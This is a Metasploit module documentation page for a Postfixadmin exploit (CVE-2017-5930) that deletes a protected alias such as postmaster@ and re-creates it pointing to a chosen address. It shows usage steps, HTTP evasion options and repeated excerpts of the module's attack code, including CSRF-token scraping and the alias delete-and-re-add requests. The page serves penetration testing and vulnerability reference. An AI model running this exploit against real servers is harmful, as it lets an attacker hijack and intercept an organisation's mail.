Postfixadmin Protected Alias Deletion Vulnerability - Metasploit
This page contains detailed information about how to use the auxiliary/admin/http/pfadmin_set_protected_alias metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Postfixadmin Protected Alias Deletion Vulnerability
Module: auxiliary/admin/http/pfadmin_set_protected_alias
Source code: modules/auxiliary/admin/http/pfadmin_set_protected_alias.rb
Disclosure date: 2017-02-03
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-5930
Postfixadmin installations between 2.91 and 3.0.1 do not check if an admin is allowed to delete protected aliases. This vulnerability can be used to redirect protected aliases to an other mail address. Eg. rewrite the postmaster@domain alias
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/http/pfadmin_set_protected_alias
msf auxiliary(pfadmin_set_protected_alias) > show targets
... a list of targets ...
msf auxiliary(pfadmin_set_protected_alias) > set TARGET target-id
msf auxiliary(pfadmin_set_protected_alias) > show options
... show and set options ...
msf auxiliary(pfadmin_set_protected_alias) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
USERNAME: The Postfixadmin username to authenticate with
PASSWORD: The Postfixadmin password to authenticate with
TARGET_ALIAS: The alias which should be rewritten
NEW_GOTO: The new redirection target of the alias
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Msfconsole Usage
Here is how the admin/http/pfadmin_set_protected_alias auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/pfadmin_set_protected_alias
msf6 auxiliary(admin/http/pfadmin_set_protected_alias) > show info
Name: Postfixadmin Protected Alias Deletion Vulnerability
Module: auxiliary/admin/http/pfadmin_set_protected_alias
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-02-03
Provided by:
Jan-Frederik Rieckers
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
NEW_GOTO yes The new redirection target of the alias
PASSWORD yes The Postfixadmin password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the postfixadmin installation
TARGET_ALIAS yes The alias which should be rewritten
USERNAME yes The Postfixadmin username to authenticate with
VHOST no HTTP server virtual host
Description:
Postfixadmin installations between 2.91 and 3.0.1 do not check if an
admin is allowed to delete protected aliases. This vulnerability can
be used to redirect protected aliases to an other mail address. Eg.
rewrite the postmaster@domain alias
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-5930
https://github.com/postfixadmin/postfixadmin/pull/23
http://www.securityfocus.com/bid/96142
Module Options
This is a complete list of options available in the admin/http/pfadmin_set_protected_alias auxiliary module:
msf6 auxiliary(admin/http/pfadmin_set_protected_alias) > show options
Module options (auxiliary/admin/http/pfadmin_set_protected_alias):
Name Current Setting Required Description
---- --------------- -------- -----------
NEW_GOTO yes The new redirection target of the alias
PASSWORD yes The Postfixadmin password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the postfixadmin installation
TARGET_ALIAS yes The alias which should be rewritten
USERNAME yes The Postfixadmin username to authenticate with
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the admin/http/pfadmin_set_protected_alias auxiliary module:
msf6 auxiliary(admin/http/pfadmin_set_protected_alias) > show advanced
Module advanced options (auxiliary/admin/http/pfadmin_set_protected_alias):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/pfadmin_set_protected_alias module can do:
msf6 auxiliary(admin/http/pfadmin_set_protected_alias) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/pfadmin_set_protected_alias auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/pfadmin_set_protected_alias) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Error Messages
- Failed to authenticate with PostfixAdmin
- The request for the domain list failed
- Doesn't seem to be admin for the domain the target alias is in
- Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token
- Didn't get redirected.
- Unexpected reply while deleting the alias
- flash-error
- It seems the target is not vulerable, the deletion of the target alias failed.
- An unexpected failure occured.
- Didn't get redirected.
- Unexpected reply while adding new alias
- flash-error
- It seems the new alias couldn't be added.
- An unexpected failure occured.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to authenticate with PostfixAdmin
Here is a relevant code snippet related to the "Failed to authenticate with PostfixAdmin" error message:
79:
80:
81: def run
82: print_status("Authenticating with Postfixadmin using #{username}:#{password} ...")
83: cookie = postfixadmin_login(username, password)
84: fail_with(Failure::NoAccess, 'Failed to authenticate with PostfixAdmin') if cookie.nil?
85: print_good('Authenticated with Postfixadmin')
86:
87: vprint_status('Requesting virtual_list')
88: res = send_request_cgi({'uri' => postfixadmin_url_list(target_alias.split("@")[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)
89: fail_with(Failure::UnexpectedReply, 'The request for the domain list failed') if res.nil?
The request for the domain list failed
Here is a relevant code snippet related to the "The request for the domain list failed" error message:
84: fail_with(Failure::NoAccess, 'Failed to authenticate with PostfixAdmin') if cookie.nil?
85: print_good('Authenticated with Postfixadmin')
86:
87: vprint_status('Requesting virtual_list')
88: res = send_request_cgi({'uri' => postfixadmin_url_list(target_alias.split("@")[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)
89: fail_with(Failure::UnexpectedReply, 'The request for the domain list failed') if res.nil?
90: fail_with(Failure::NoAccess, 'Doesn\'t seem to be admin for the domain the target alias is in') if res.redirect?
91: body = res.body
92: vprint_status('Get token')
93: token = body.match(/token=([0-9a-f]{32})/)
94: fail_with(Failure::UnexpectedReply, 'Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token') unless token
Doesn't seem to be admin for the domain the target alias is in
Here is a relevant code snippet related to the "Doesn't seem to be admin for the domain the target alias is in" error message:
85: print_good('Authenticated with Postfixadmin')
86:
87: vprint_status('Requesting virtual_list')
88: res = send_request_cgi({'uri' => postfixadmin_url_list(target_alias.split("@")[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)
89: fail_with(Failure::UnexpectedReply, 'The request for the domain list failed') if res.nil?
90: fail_with(Failure::NoAccess, 'Doesn\'t seem to be admin for the domain the target alias is in') if res.redirect?
91: body = res.body
92: vprint_status('Get token')
93: token = body.match(/token=([0-9a-f]{32})/)
94: fail_with(Failure::UnexpectedReply, 'Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token') unless token
95:
Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token
Here is a relevant code snippet related to the "Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token" error message:
89: fail_with(Failure::UnexpectedReply, 'The request for the domain list failed') if res.nil?
90: fail_with(Failure::NoAccess, 'Doesn\'t seem to be admin for the domain the target alias is in') if res.redirect?
91: body = res.body
92: vprint_status('Get token')
93: token = body.match(/token=([0-9a-f]{32})/)
94: fail_with(Failure::UnexpectedReply, 'Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token') unless token
95:
96: t = token[1]
97:
98: print_status('Delete the old alias')
99: res = send_request_cgi({'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10)
Didn't get redirected.
Here is a relevant code snippet related to the "Didn't get redirected." error message:
96: t = token[1]
97:
98: print_status('Delete the old alias')
99: res = send_request_cgi({'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10)
100:
101: fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
102:
103: res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
104:
105: if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
106: if res.nil? || res.body.nil?
Unexpected reply while deleting the alias
Here is a relevant code snippet related to the "Unexpected reply while deleting the alias" error message:
102:
103: res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
104:
105: if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
106: if res.nil? || res.body.nil?
107: fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias')
108: else
109: if res.body =~ /<ul class="flash-error">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
110: fail_with(Failure::NotVulnerable, 'It seems the target is not vulerable, the deletion of the target alias failed.')
111: else
112: fail_with(Failure::Unknown, 'An unexpected failure occured.')
flash-error
Here is a relevant code snippet related to the "flash-error" error message:
104:
105: if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
106: if res.nil? || res.body.nil?
107: fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias')
108: else
109: if res.body =~ /<ul class="flash-error">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
110: fail_with(Failure::NotVulnerable, 'It seems the target is not vulerable, the deletion of the target alias failed.')
111: else
112: fail_with(Failure::Unknown, 'An unexpected failure occured.')
113: end
114: end
It seems the target is not vulerable, the deletion of the target alias failed.
Here is a relevant code snippet related to the "It seems the target is not vulerable, the deletion of the target alias failed." error message:
105: if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
106: if res.nil? || res.body.nil?
107: fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias')
108: else
109: if res.body =~ /<ul class="flash-error">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
110: fail_with(Failure::NotVulnerable, 'It seems the target is not vulerable, the deletion of the target alias failed.')
111: else
112: fail_with(Failure::Unknown, 'An unexpected failure occured.')
113: end
114: end
115: end
An unexpected failure occured.
Here is a relevant code snippet related to the "An unexpected failure occured." error message:
107: fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias')
108: else
109: if res.body =~ /<ul class="flash-error">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
110: fail_with(Failure::NotVulnerable, 'It seems the target is not vulerable, the deletion of the target alias failed.')
111: else
112: fail_with(Failure::Unknown, 'An unexpected failure occured.')
113: end
114: end
115: end
116: print_good('Deleted the old alias')
117:
Didn't get redirected.
Here is a relevant code snippet related to the "Didn't get redirected." error message:
118: vprint_status('Will create the new alias')
119: post_vars = {'submit' => 'Add alias', 'table' => 'alias', 'value[active]' => 1, 'value[domain]' => target_alias.split("@")[-1], 'value[localpart]' => target_alias.split("@")[0..-2].join("@"), 'value[goto]' => new_goto}
120:
121: res = send_request_cgi({'uri' => postfixadmin_url_edit, 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars }, 10)
122:
123: fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
124:
125: res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
126:
127: if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
128: if res.nil? || res.body.nil?
Unexpected reply while adding new alias
Here is a relevant code snippet related to the "Unexpected reply while adding new alias" error message:
124:
125: res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
126:
127: if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
128: if res.nil? || res.body.nil?
129: fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias')
130: else
131: if res.body =~ /<ul class="flash-error">/mi
132: fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')
133: else
134: fail_with(Failure::Unknown, 'An unexpected failure occured.')
flash-error
Here is a relevant code snippet related to the "flash-error" error message:
126:
127: if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
128: if res.nil? || res.body.nil?
129: fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias')
130: else
131: if res.body =~ /<ul class="flash-error">/mi
132: fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')
133: else
134: fail_with(Failure::Unknown, 'An unexpected failure occured.')
135: end
136: end
It seems the new alias couldn't be added.
Here is a relevant code snippet related to the "It seems the new alias couldn't be added." error message:
127: if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
128: if res.nil? || res.body.nil?
129: fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias')
130: else
131: if res.body =~ /<ul class="flash-error">/mi
132: fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')
133: else
134: fail_with(Failure::Unknown, 'An unexpected failure occured.')
135: end
136: end
137: end
An unexpected failure occured.
Here is a relevant code snippet related to the "An unexpected failure occured." error message:
129: fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias')
130: else
131: if res.body =~ /<ul class="flash-error">/mi
132: fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')
133: else
134: fail_with(Failure::Unknown, 'An unexpected failure occured.')
135: end
136: end
137: end
138: print_good('New alias created')
139:
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Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12354 Merged Pull Request: Remove targets from aux and post modules
- #8059 Merged Pull Request: Adding Module for Postfixadmin CVE-2017-5930
References
See Also
Check also the following modules related to this module:
- exploit/linux/misc/ib_pwd_db_aliased
- exploit/linux/http/centreon_useralias_exec
- auxiliary/admin/http/cfme_manageiq_evm_pass_reset
- auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
- auxiliary/admin/http/intersil_pass_reset
- auxiliary/admin/http/linksys_tmunblock_admin_reset_bof
- auxiliary/admin/http/mantisbt_password_reset
- auxiliary/admin/http/netgear_r6700_pass_reset
- auxiliary/admin/http/nuuo_nvrmini_reset
- auxiliary/admin/http/rails_devise_pass_reset
- auxiliary/admin/2wire/xslt_password_reset
- auxiliary/admin/chromecast/chromecast_reset
- auxiliary/gather/flash_rosetta_jsonp_url_disclosure
- auxiliary/scanner/http/bmc_trackit_passwd_reset
- auxiliary/scanner/http/epmp1000_reset_pass
- auxiliary/scanner/http/zenworks_assetmanagement_fileaccess
- auxiliary/scanner/http/zenworks_assetmanagement_getconfig
- auxiliary/scanner/ntp/ntp_unsettrap_dos
- auxiliary/scanner/snmp/snmp_set
- auxiliary/sqli/oracle/lt_findricset_cursor
Authors
- Jan-Frederik Rieckers
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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